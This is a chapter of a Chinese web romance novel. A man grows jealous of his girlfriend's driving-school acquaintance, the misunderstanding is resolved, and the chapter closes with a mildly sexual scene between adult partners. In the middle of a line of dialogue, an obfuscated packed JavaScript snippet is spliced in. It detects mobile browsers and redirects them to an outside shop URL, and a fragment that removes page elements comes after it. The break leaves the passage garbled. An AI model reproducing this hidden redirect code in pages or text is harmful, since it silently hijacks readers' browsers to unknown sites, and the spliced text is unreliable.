不过看了一会儿,他突然注意到一个不起眼的脏东西。 与何嘉并肩谈话的人是个男生。 他大致打量了一下那人的模样,看上去和她年龄相仿,长相很立体,脸上总是挂着疑似装酷的笑。 也不算不起眼吧,但顶多就是个长得还行的男的。 又看了几眼,那个男的,竟然还有意无意偷瞄他的姑娘。 这让他有点不爽。 “啧。”李成杨很快从车上走下来,大步朝他们的位置走去。 何嘉早就注意到他了,隔着一条街朝他挥手。 “李成杨,我在这里!” 她身边那个叫罗潇的男生问她:“你朋友?” 何嘉说:“我男朋友。” “行,那我先走。”罗潇没有和谁对象寒暄的习惯,只是朝李成杨露出一个疏远的笑,就走了。 李成杨看了看他的背影,问何嘉:“他是你同学?” 她说:“不是的,他才大二,和我一起学车认识的。” “你们好像挺熟的。” “没有啊,他讲话挺有意思的,就多说了几句,而且我们都要出校门,顺路就一起了。” 他还想问什么,但何嘉拉着他的手臂说:“好啦,又一个月没有见到你,我们快去吃东西好不好呀?” “好。”那就不问了,反正不是什么重要的东西。 然而,当李成杨意识到这个东西很重要的时候,已经错过了最佳的询问时间。 当天晚上,何嘉正在洗澡的时候,她的手机跳出两条消息。 罗潇:【明天还练不?】 罗潇:【一起吧。】 李成杨发誓自己从来没有看过她的手机,刚才只是不小心瞟到屏幕的光亮,还有那个陌生的名字。 罗潇是谁? 是今天那个男的吗? 他的直觉告诉他这个猜想是正确的,至于这个罗潇为什么要对何嘉发这些消息,他有了一个更不爽的猜想。 何嘉在这个时候打开玻璃门,雾气和外面的空气融在一起,姑娘的脸上有热气蒸腾的红晕。 “我洗好了,你快去吧。” 李成杨看着她没回应,他想问那个男生是不是对她别有用心居心,但又担心自己是不是为了点捕风捉影的事情太过敏感。 愣了几瞬,他从床上起来,路过厕所门口的何嘉,往她脸上用力亲了一口之后开始洗澡。 何嘉不明所以地揉了揉脸颊,拿起床上的手机,罗潇的头像出现两个红点。 又是学车的消息,那也行,于是她回了个【OK】。 李成杨这澡洗得真快,比平时快了一倍,出来之后连头发也不擦,直接躺在何嘉身边,视线一直落在她手机上。 何嘉被他盯得难受,主动问他:“怎么了吗?你要用我的手机?” “不是。”他说:“刚才你手机好像响了两声。” “噢我看到了,是一起学车的那个学弟。” “他找你有事情?” 她说:“没事,就是问要不要一起练车。” “那你要吗?” “要啊,我已经回OK了。” 这下换李成杨留下六个句号。 他翻了个身,将自己埋在被子里,没有和她更近一步的想法。 何嘉不理解:“怎么啦?你就要睡了吗?我们还没有做正事呢。” “我累了。”他闷闷地回了一句。 她去拉他的被子,“你怎么累啦?我们今天什么也没干呀,你是不是生病了?” 他不说话,又离她远了一寸。 何嘉偏要继续扯被子,还摸了一把他的头发,“你头发都是湿的就要睡了吗?你明天早上万一面瘫了怎么办?” “不会。” “不行,你快点起来吹头发。” “我不。” “那你告诉我,你怎么啦?” 李成杨憋了半天,问了一句:“我是谁?” 何嘉说:“李成杨啊。” “我是你的谁?” “男朋友。” “那你是我的谁?” “女朋友。” “那你还……” “还什么?”何嘉忽然明白他在别扭什么,但是故意做出不懂的样子,“你说完啊,你不说完是要我猜吗?” 他才不想说了,他一个三十多岁的爷们儿,怎么还跟个愣头青一样吃这种飞醋。 “睡觉,我困了。” 她抓了一把他的头发:“你真的不去吹头发了吗?你要是面瘫了我就不要你了。” 李成杨认真的问她:“真的吗?” 她思考了一下:“你不笑的样子凶凶的,虽然我有时候喜欢你冷淡的样子,但是天天都这样的话我会受不了的,所以你快点去吹头吧。” 他一脸黑线,一言不发地走进厕所。 镜子里的男人头发长长了许多,不再是从前刺手的寸头。他记得某天何嘉说过,她喜欢手指伸进他发丝的感觉,从那以后他就开始留着发型,想要满足她任何的要求。 不管是她说过的还是没说过的。 可他现在看到自己的样子,怎么就觉得不是那么顺心呢。 特别是五官,竟然和今天见过的那个男的风格类似。 一种不好的预感逐渐加深,他随便吹了头发又回到被窝,何嘉已经安静地睡着,这还是她头一次没有等他就睡了。 李成杨将她抱在怀里,比平时多了一分力气。 第二天是周四,何嘉有一节早八,李成杨将她送去学校之后一直停在门口没走。 昨天被小小地气了一下,现在都不是很得劲儿。 一个人坐在主驾发了好久的呆,正准备走的时候一个影子站在车子旁边。 那人身形很高,穿着一身黑,明明是很内敛的颜色,但是配上他的脸就显得多了那么一点狂放。 巧了,这不就是所谓的什么来着?罗潇。 罗潇拿着手机滑了好几页,眉头一直舒展不开。 站了两分钟后拿了盒烟出来,低着头吸了几口烟头,就站在李成杨车边吞云吐雾。 李成杨想看他能抽出个什么花来,却发现这人就是抽,抽得人心情更差。 车窗忽地摇下,李成杨尖锐地睨了他一眼,语气说不上礼貌:“一边儿去抽。” 罗潇站着没走,反而说了句:“不好意思。” 李成杨的视线留在他身上,罗潇感受到某种杀气,但是丝毫不惧,只是坦然地回应这个对视。 不知道在较量什么,罗潇问他:“我们认识?” “你哪位?”李成杨顶了下右脸,又指着罗潇手上的烟头:“离我远点。” 罗潇笑了,“我想起来了,你是昨天那个对象是吧?” “何嘉的,男朋友。”李成杨有意指正。 “哦,何嘉对象。” 烟头还在燃,一股烟雾飘进车内,李成杨烦躁地瞪了他一眼:“过去抽,我女朋友很不喜欢烟味。” “也不会喜欢抽烟的人。” 后面这句话说得语气很重,几乎是明示。 罗潇没理他,弹了几下烟灰,对他继续笑:“我又不在她面前抽,我喜欢就行。” 李成杨没见过这么听不懂人话的人,朝他勾勾手指,示意他走近些。 他掐了烟,走到李成杨面前,“这位叔叔?你还有什么事?” 李成杨轻嗤:“叔叔?” “那怎么称呼你?” 他没功夫跟罗潇掰扯,只是淡淡地问了一句:“你多大?二十?” 罗潇说:“二十。” 他笑了:“二十挺好,但我给你提个醒,我们家姑娘——” “只喜欢老的,特别是我这种叔叔。” 罗潇听了这话,实在是有点忍俊不禁,这位叔叔好像误会了点什么。 “咳,那什么,挺好的,但是何嘉喜欢谁和我没太大关系。” 李成杨挑眉,等他自己解释。 罗潇懒得再逗他,索性说了:“我对你对象没那个想法,也没有挖墙脚的癖好。” “所以呢?” “所以叔叔,你是不是误会什么了?” 两人男人在冷风里对视,一个绷着下颚没表情,一个笑得贱兮兮,没一个正常人。 罗潇看了眼时间,一个电话正好打进来,那边是个女孩的声音,说什么李成杨没听清,反正罗潇一直点头说好,挂了电话之后又抽了一根烟。 “叔叔你还有事?没事我走了。” 李成杨没回答,刚要摇上车窗的时候,罗潇朝里面说了一句:“你回去问问何嘉啊,证明一下我的清白。” “呵呵。”他选择性笑了一下。 一直到下午的时候何嘉才下课,小姑娘刚上车就拿出了一只白色的挂件,递给李成杨的时候很神秘。 “这个是给你的,你猜猜为什么送这个给你?” 他仔细观察它的样子,是一只垂耳的小羊,背上还有一双小翅膀,是非常可爱的样式。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413294|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是羊。” 干巴巴的一句,让何嘉很不满意:“我知道它是羊,不是在让你猜为什么送这个给你嘛。” 他将小羊捏在手里,回答:“这是羊,我是杨,所以小羊就是小杨,对吗?” “嘿嘿,对了。”她最满意的就是他无时无刻都知道她在想什么,这让她觉得交流特别顺畅。“这只小羊就是你的护身符,你以后都要带在身上好不好?” “好。”她给的什么都好。 李成杨在她的视线下,将小羊挂在车钥匙上,又朝她晃了晃,“以后都在我身边。” 何嘉摸出自己的公寓钥匙,上面有只粉色的小兔子,同样长着天使翅膀。 “我也有,我们是情侣款的。” 情侣这两个字真好,让他觉得浑身舒适,至于刚才什么罗潇就见鬼去吧。 他弯起唇,问何嘉:“等会儿逛街还是直接回家?” 但她说:“我等会儿可能还要去练一下车。” “……” 李成杨无言几秒,这次是真的不淡定了,刚才的罗潇像鬼一样缠在他脑海里,他没忍住问了:“你和那个罗潇约好的?” “你昨天不是问了吗?”何嘉将钥匙收好,掏了一张大头贴出来,那是他们上个月拍好的,一直忘了给他一份,“这个给你一张,我的那张放在饭卡里啦,你的这张自己找地方放一下吧。” 李成杨直接将照片放在手机壳里,朝何嘉着重提醒:“我已经有对象了,所以我要放在最显眼的位置,让所有人都知道。” 何嘉像看傻子一样看他:“你爱放哪里就放哪里呀,怎么说得这么严肃?” “这不是很严肃的事情?” “这是什么很严肃的事情?” 这是他俩认识后的第无数次,李成杨气极反笑:“我是你对象,不是很严肃的事情吗?” “这个是,刚才的好像不是。” “刚才的也是。” “你是说要我把照片放在手机壳里?” 何嘉摸出饭卡,把那张照片拿出来,“那你直说就好了,怎么说些弯弯绕绕的话?” 他见她已经把照片放好,这才轻飘飘地说:“我们男人就是弯弯绕绕。” “?” 不正常,非常不正常,刚才还没反应过来,但回忆了一下刚才的话题,何嘉迅速找出了蛛丝马迹。 李成杨神神叨叨的原因不是很明显嘛。 她朝他凑近了点,很肯定地说:“你这么奇怪一定是在吃醋。” “我吃什么醋?” “你吃什么醋就说出来呀。” 他不承认:“没有,你想多了。” 何嘉凑到他脸上亲了一口,“是吗?那就是说我不用哄你啦?” “哄我?”李成杨面上抗拒,身体却很诚实,直接咬上她的嘴唇吸了几口,问她:“你怎么哄我?这样吗?” 何嘉被暖气熏得热乎乎的,脸上颜色开始不正常。 “你动不动就亲我,你之前还说我总要你亲,明明是你总想亲我。” “是啊,那又怎样?”他吊儿郎当地说:“我不但要亲你,我还要你哄。” “不理你了,我才不哄你。” “那不行。” 李成杨抬起她的下巴,目光停留在她反光的唇瓣上,“再给我亲一口,就不要你哄了。” 她才不要,“你都多大人了还要我哄?你吃醋也要我哄?你从昨晚就开始吃,吃到现在都还没结束呢?” “嗯?你昨晚就知道我在想什么?那你不和我解释一声?” 何嘉讪讪地说:“我本来想说,但是不知道怎么睡着了。” “很好,非常好。” 李成杨将她捞过来,捏着她的后颈就开始亲,将她嘴上的口红全都吃掉,还觉得不够,舌头一直在她口腔里搅来搅去,缠得她的下巴都酸了。 “不亲……不亲了。”她用仅有的两秒间隙反对。 他却闭着眼睛很享受的样子,“没亲够。” 何嘉的氧气全都被他夺走,脑子晕乎乎的也没有推开他的力气,只好趴在他身上放任他动作。 他弃了她的唇,吻重新落在她颈间的皮肤上,又是舔又是咬,让她忍不住发抖。 “……成杨哥哥我错了,我不该答应他一起练车的。” “晚了。”李成杨掀开她的毛衣,附身埋在她的温软里,一寸一寸吸吻,将她攻陷,“你每天就知道折腾我,哪天不气我你整个人都不舒服是吧?” 何嘉说不出话,被他的吻和头发摩擦得发痒。 他还在继续,换气的时候问她:“你解释一下,你们怎么回事儿?” 她努力收回注意力,声音发软:“我们什么都没有,真的。” “真的?”他吸了个红印出来,抬眼看她的时候眼神算不上清澈,“真的吗?” “真的。” 李成杨的手掌摸到她的腰间,那是她最怕痒的地方。 “那他为什么要约你一起?” 何嘉呼吸不稳:“因为,因为他在追我同学……他,他想让我帮忙,一起学车也是因为他想贿赂我……” “这样啊。” 她点点头,像只委屈的小猫。 “那好。” 他心情好了,兴致也更好了。 手指往下移了一点,在她臀上捏了一下,决定暂时放过她,“走吧,吃饭,吃了饭你就回去练车,好好练,晚上回来我们再交流正事。” 何嘉脸刷一下红了,将毛衣理好又把外套拉得严严实实的,用一种作用不大的方式表示抗议。 李成杨抓着她的手不松开,十分爽朗地笑了起来,“乖乖,我收回我之前说的话,我们这样非常健康,完全不用节制,其他活动也不是很必要。” “哼。” “哼什么?不是你说喜欢和我连在一起吗?” 他欠揍地朝她抛了个眼神,“我也喜欢,特别喜欢。” “李成杨你是大变态。” “对,我是。”那有什么? 反正,他很乐意被她这么称呼。